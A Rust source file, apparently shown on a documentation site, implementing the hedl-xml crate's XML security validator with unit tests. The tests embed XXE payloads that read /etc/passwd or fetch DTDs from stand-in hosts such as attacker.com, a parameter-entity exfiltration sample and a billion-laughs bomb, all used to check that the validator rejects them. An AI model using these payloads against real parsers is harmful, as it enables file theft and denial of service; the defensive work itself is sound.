hedl-xml 2.0.0

HEDL to/from XML conversion
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
// Dweve HEDL - Hierarchical Entity Data Language
//
// Copyright (c) 2025 Dweve IP B.V. and individual contributors.
//
// SPDX-License-Identifier: Apache-2.0
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License in the LICENSE file at the
// root of this repository or at: http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

//! Security validation for XML processing
//!
//! This module provides defense against XML injection attacks including:
//! - XXE (XML External Entity) attacks
//! - Billion laughs attacks (entity expansion bombs)
//! - Parameter entity attacks
//! - DTD-based exploits
//!
//! # Security Model
//!
//! The security model follows a defense-in-depth approach:
//!
//! 1. **Primary Defense**: Reject all DOCTYPE declarations
//! 2. **Secondary Defense**: Detect entity declarations and external references
//! 3. **Tertiary Defense**: Document size limits
//!
//! # Examples
//!
//! ```rust
//! use hedl_xml::security::XmlSecurityValidator;
//!
//! let validator = XmlSecurityValidator::default();
//!
//! // Safe XML passes validation
//! let safe_xml = r#"<?xml version="1.0"?><hedl><data>safe</data></hedl>"#;
//! assert!(validator.validate(safe_xml).is_ok());
//!
//! // XXE attack is rejected
//! let xxe_xml = r#"<?xml version="1.0"?>
//! <!DOCTYPE hedl [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
//! <hedl><data>&xxe;</data></hedl>"#;
//! assert!(validator.validate(xxe_xml).is_err());
//! ```

use std::error::Error;
use std::fmt;

/// Security validator for XML content
#[derive(Debug, Clone)]
pub struct XmlSecurityValidator {
    /// Reject any DOCTYPE declarations
    pub reject_doctype: bool,
    /// Maximum document size in bytes
    pub max_document_size: usize,
    /// Enable detailed security checks beyond DOCTYPE
    pub strict_validation: bool,
}

impl Default for XmlSecurityValidator {
    fn default() -> Self {
        Self {
            reject_doctype: true,
            max_document_size: 10 * 1024 * 1024, // 10MB
            strict_validation: true,
        }
    }
}

impl XmlSecurityValidator {
    /// Create a new validator with custom settings
    pub fn new(reject_doctype: bool, max_document_size: usize, strict_validation: bool) -> Self {
        Self {
            reject_doctype,
            max_document_size,
            strict_validation,
        }
    }

    /// Validate XML content for security threats
    ///
    /// Performs multiple security checks:
    /// - Document size validation
    /// - DOCTYPE declaration detection
    /// - External entity reference detection
    /// - Entity declaration detection
    /// - Parameter entity detection
    ///
    /// # Errors
    ///
    /// Returns `SecurityViolation` if any security threat is detected.
    pub fn validate(&self, xml: &str) -> Result<(), SecurityViolation> {
        // Check 1: Document size
        if xml.len() > self.max_document_size {
            return Err(SecurityViolation::DocumentSizeExceeded {
                size: xml.len(),
                max_size: self.max_document_size,
            });
        }

        // Check 2: DOCTYPE declaration (primary defense against XXE)
        if self.reject_doctype && self.contains_doctype(xml) {
            return Err(SecurityViolation::DoctypeDetected);
        }

        // Additional strict validation checks
        if self.strict_validation {
            // Check 3: Parameter entities (data exfiltration prevention) - check first since they may contain SYSTEM
            if self.contains_parameter_entity(xml) {
                return Err(SecurityViolation::ParameterEntityDetected);
            }

            // Check 4: External entity references (SYSTEM/PUBLIC)
            if self.contains_external_entity(xml) {
                return Err(SecurityViolation::ExternalEntityDetected);
            }

            // Check 5: Entity declarations (billion laughs prevention)
            if self.contains_entity_declaration(xml) {
                return Err(SecurityViolation::EntityDeclarationDetected);
            }
        }

        Ok(())
    }

    /// Check if XML contains DOCTYPE declaration
    ///
    /// Uses case-insensitive matching to detect DOCTYPE in various forms:
    /// - `<!DOCTYPE ...>`
    /// - `<!doctype ...>`
    /// - With whitespace variations
    fn contains_doctype(&self, xml: &str) -> bool {
        // Fast path: early rejection if no "<!" present
        if !xml.contains("<!") {
            return false;
        }

        // Case-insensitive DOCTYPE detection
        let upper = xml.to_uppercase();
        upper.contains("<!DOCTYPE")
    }

    /// Check if XML contains external entity references
    ///
    /// Detects SYSTEM and PUBLIC keywords that indicate external entity references.
    fn contains_external_entity(&self, xml: &str) -> bool {
        // Fast path
        if !xml.contains("<!") {
            return false;
        }

        let upper = xml.to_uppercase();

        // Check for SYSTEM or PUBLIC keywords (used in external entities)
        if upper.contains("<!ENTITY") {
            upper.contains("SYSTEM") || upper.contains("PUBLIC")
        } else {
            false
        }
    }

    /// Check if XML contains entity declarations
    ///
    /// Detects `<!ENTITY ...>` declarations that could be used for expansion attacks.
    fn contains_entity_declaration(&self, xml: &str) -> bool {
        // Fast path
        if !xml.contains("<!") {
            return false;
        }

        let upper = xml.to_uppercase();
        upper.contains("<!ENTITY")
    }

    /// Check if XML contains parameter entities
    ///
    /// Parameter entities use `%` syntax and can be used for data exfiltration attacks.
    /// Detects patterns like:
    /// - `<!ENTITY % ...>`
    /// - `%dtd;`
    /// - `%all;`
    fn contains_parameter_entity(&self, xml: &str) -> bool {
        // Parameter entities use % syntax
        // Check for common patterns
        xml.contains("<!ENTITY %")
            || xml.contains("%dtd;")
            || xml.contains("%all;")
            || xml.contains("%file;")
            || xml.contains("%send;")
            || xml.contains("%eval;")
    }
}

/// Security violation types
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum SecurityViolation {
    /// DOCTYPE declaration detected (XXE prevention)
    DoctypeDetected,
    /// External entity reference detected (SYSTEM/PUBLIC)
    ExternalEntityDetected,
    /// Entity declaration detected (billion laughs prevention)
    EntityDeclarationDetected,
    /// Parameter entity detected (data exfiltration prevention)
    ParameterEntityDetected,
    /// Document size exceeds security limit
    DocumentSizeExceeded {
        /// Actual document size
        size: usize,
        /// Maximum allowed size
        max_size: usize,
    },
}

impl fmt::Display for SecurityViolation {
    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
        match self {
            Self::DoctypeDetected => write!(
                f,
                "DOCTYPE declarations are prohibited for security (XXE prevention)"
            ),
            Self::ExternalEntityDetected => write!(
                f,
                "External entity references (SYSTEM/PUBLIC) are prohibited"
            ),
            Self::EntityDeclarationDetected => write!(
                f,
                "Entity declarations are prohibited (billion laughs prevention)"
            ),
            Self::ParameterEntityDetected => write!(
                f,
                "Parameter entities are prohibited (data exfiltration prevention)"
            ),
            Self::DocumentSizeExceeded { size, max_size } => write!(
                f,
                "Document size ({} bytes) exceeds security limit ({} bytes)",
                size, max_size
            ),
        }
    }
}

impl Error for SecurityViolation {}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_validator_default() {
        let validator = XmlSecurityValidator::default();
        assert!(validator.reject_doctype);
        assert_eq!(validator.max_document_size, 10 * 1024 * 1024);
        assert!(validator.strict_validation);
    }

    #[test]
    fn test_validator_custom() {
        let validator = XmlSecurityValidator::new(false, 1024, false);
        assert!(!validator.reject_doctype);
        assert_eq!(validator.max_document_size, 1024);
        assert!(!validator.strict_validation);
    }

    #[test]
    fn test_safe_xml_passes() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<?xml version="1.0"?><hedl><data>safe content</data></hedl>"#;
        assert!(validator.validate(xml).is_ok());
    }

    #[test]
    fn test_doctype_detection_uppercase() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<?xml version="1.0"?>
<!DOCTYPE hedl [<!ENTITY test "value">]>
<hedl><data>test</data></hedl>"#;

        let result = validator.validate(xml);
        assert!(result.is_err());
        assert_eq!(result.unwrap_err(), SecurityViolation::DoctypeDetected);
    }

    #[test]
    fn test_doctype_detection_lowercase() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<?xml version="1.0"?>
<!doctype hedl [<!ENTITY test "value">]>
<hedl><data>test</data></hedl>"#;

        let result = validator.validate(xml);
        assert!(result.is_err());
        assert_eq!(result.unwrap_err(), SecurityViolation::DoctypeDetected);
    }

    #[test]
    fn test_doctype_detection_mixed_case() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<?xml version="1.0"?>
<!DoCtYpE hedl [<!ENTITY test "value">]>
<hedl><data>test</data></hedl>"#;

        let result = validator.validate(xml);
        assert!(result.is_err());
        assert_eq!(result.unwrap_err(), SecurityViolation::DoctypeDetected);
    }

    #[test]
    fn test_external_entity_system() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<?xml version="1.0"?>
<!DOCTYPE hedl [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<hedl><data>&xxe;</data></hedl>"#;

        let result = validator.validate(xml);
        assert!(result.is_err());
        // Should fail on DOCTYPE first
        assert_eq!(result.unwrap_err(), SecurityViolation::DoctypeDetected);
    }

    #[test]
    fn test_external_entity_public() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<?xml version="1.0"?>
<!DOCTYPE hedl [<!ENTITY xxe PUBLIC "publicId" "http://evil.com/evil.dtd">]>
<hedl><data>&xxe;</data></hedl>"#;

        let result = validator.validate(xml);
        assert!(result.is_err());
        assert_eq!(result.unwrap_err(), SecurityViolation::DoctypeDetected);
    }

    #[test]
    fn test_parameter_entity_attack() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<?xml version="1.0"?>
<!DOCTYPE hedl [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<hedl>&send;</hedl>"#;

        let result = validator.validate(xml);
        assert!(result.is_err());
        assert_eq!(result.unwrap_err(), SecurityViolation::DoctypeDetected);
    }

    #[test]
    fn test_billion_laughs_attack() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<?xml version="1.0"?>
<!DOCTYPE hedl [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<hedl>&lol3;</hedl>"#;

        let result = validator.validate(xml);
        assert!(result.is_err());
        assert_eq!(result.unwrap_err(), SecurityViolation::DoctypeDetected);
    }

    #[test]
    fn test_document_size_limit() {
        let validator = XmlSecurityValidator {
            max_document_size: 100,
            ..Default::default()
        };

        let large_xml = format!(
            r#"<?xml version="1.0"?><hedl><data>{}</data></hedl>"#,
            "A".repeat(200)
        );

        let result = validator.validate(&large_xml);
        assert!(result.is_err());
        match result.unwrap_err() {
            SecurityViolation::DocumentSizeExceeded { size, max_size } => {
                assert!(size > 100);
                assert_eq!(max_size, 100);
            }
            _ => panic!("Expected DocumentSizeExceeded"),
        }
    }

    #[test]
    fn test_disable_doctype_check() {
        let validator = XmlSecurityValidator {
            reject_doctype: false,
            strict_validation: false,
            ..Default::default()
        };

        let xml = r#"<?xml version="1.0"?>
<!DOCTYPE hedl [<!ELEMENT hedl ANY>]>
<hedl><data>test</data></hedl>"#;

        // Should pass when DOCTYPE check is disabled
        assert!(validator.validate(xml).is_ok());
    }

    #[test]
    fn test_strict_validation_entity_detection() {
        // Create validator with DOCTYPE disabled but strict validation enabled
        let validator = XmlSecurityValidator {
            reject_doctype: false,
            strict_validation: true,
            ..Default::default()
        };

        let xml = r#"<?xml version="1.0"?>
<!DOCTYPE hedl [<!ENTITY test "value">]>
<hedl><data>&test;</data></hedl>"#;

        let result = validator.validate(xml);
        assert!(result.is_err());
        assert_eq!(
            result.unwrap_err(),
            SecurityViolation::EntityDeclarationDetected
        );
    }

    #[test]
    fn test_strict_validation_external_entity() {
        let validator = XmlSecurityValidator {
            reject_doctype: false,
            strict_validation: true,
            ..Default::default()
        };

        let xml = r#"<?xml version="1.0"?>
<!DOCTYPE hedl [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<hedl><data>&xxe;</data></hedl>"#;

        let result = validator.validate(xml);
        assert!(result.is_err());
        assert_eq!(
            result.unwrap_err(),
            SecurityViolation::ExternalEntityDetected
        );
    }

    #[test]
    fn test_strict_validation_parameter_entity() {
        let validator = XmlSecurityValidator {
            reject_doctype: false,
            strict_validation: true,
            ..Default::default()
        };

        let xml = r#"<?xml version="1.0"?>
<!DOCTYPE hedl [<!ENTITY % file SYSTEM "file:///etc/passwd">]>
<hedl><data>test</data></hedl>"#;

        let result = validator.validate(xml);
        assert!(result.is_err());
        assert_eq!(
            result.unwrap_err(),
            SecurityViolation::ParameterEntityDetected
        );
    }

    #[test]
    fn test_comment_with_doctype_string() {
        let validator = XmlSecurityValidator::default();
        // Should not trigger false positive for DOCTYPE in comments
        // However, our simple validator will detect it - this is acceptable
        // as comments with DOCTYPE are suspicious anyway
        let xml = r#"<?xml version="1.0"?>
<!-- This comment mentions <!DOCTYPE but isn't one -->
<hedl><data>safe</data></hedl>"#;

        let result = validator.validate(xml);
        // Current implementation will reject this (conservative approach)
        assert!(result.is_err());
    }

    #[test]
    fn test_cdata_with_doctype_string() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<?xml version="1.0"?>
<hedl><data><![CDATA[<!DOCTYPE test>]]></data></hedl>"#;

        let result = validator.validate(xml);
        // Current implementation will reject this (conservative approach)
        // This is acceptable as it's safer to reject than risk XXE
        assert!(result.is_err());
    }

    #[test]
    fn test_security_violation_display() {
        let violation = SecurityViolation::DoctypeDetected;
        assert!(violation.to_string().contains("DOCTYPE"));
        assert!(violation.to_string().contains("XXE"));

        let violation = SecurityViolation::ExternalEntityDetected;
        assert!(violation.to_string().contains("External entity"));

        let violation = SecurityViolation::EntityDeclarationDetected;
        assert!(violation.to_string().contains("Entity declarations"));
        assert!(violation.to_string().contains("billion laughs"));

        let violation = SecurityViolation::ParameterEntityDetected;
        assert!(violation.to_string().contains("Parameter entities"));
        assert!(violation.to_string().contains("exfiltration"));

        let violation = SecurityViolation::DocumentSizeExceeded {
            size: 1000,
            max_size: 500,
        };
        let msg = violation.to_string();
        assert!(msg.contains("1000"));
        assert!(msg.contains("500"));
    }

    #[test]
    fn test_empty_xml() {
        let validator = XmlSecurityValidator::default();
        let xml = "";
        assert!(validator.validate(xml).is_ok());
    }

    #[test]
    fn test_xml_declaration_only() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<?xml version="1.0"?>"#;
        assert!(validator.validate(xml).is_ok());
    }

    #[test]
    fn test_simple_element() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<root>test</root>"#;
        assert!(validator.validate(xml).is_ok());
    }

    #[test]
    fn test_nested_elements() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<?xml version="1.0"?>
<root>
    <child1>value1</child1>
    <child2>
        <nested>value2</nested>
    </child2>
</root>"#;
        assert!(validator.validate(xml).is_ok());
    }

    #[test]
    fn test_attributes_allowed() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<?xml version="1.0"?>
<root attr1="value1" attr2="value2">
    <child id="123">content</child>
</root>"#;
        assert!(validator.validate(xml).is_ok());
    }

    #[test]
    fn test_unicode_content() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<?xml version="1.0" encoding="UTF-8"?>
<root>
    <data>Hello δΈ–η•Œ 🌍</data>
</root>"#;
        assert!(validator.validate(xml).is_ok());
    }

    #[test]
    fn test_special_characters_escaped() {
        let validator = XmlSecurityValidator::default();
        let xml = r#"<?xml version="1.0"?>
<root>
    <data>&lt;tag&gt; &amp; &quot;quoted&quot;</data>
</root>"#;
        assert!(validator.validate(xml).is_ok());
    }
}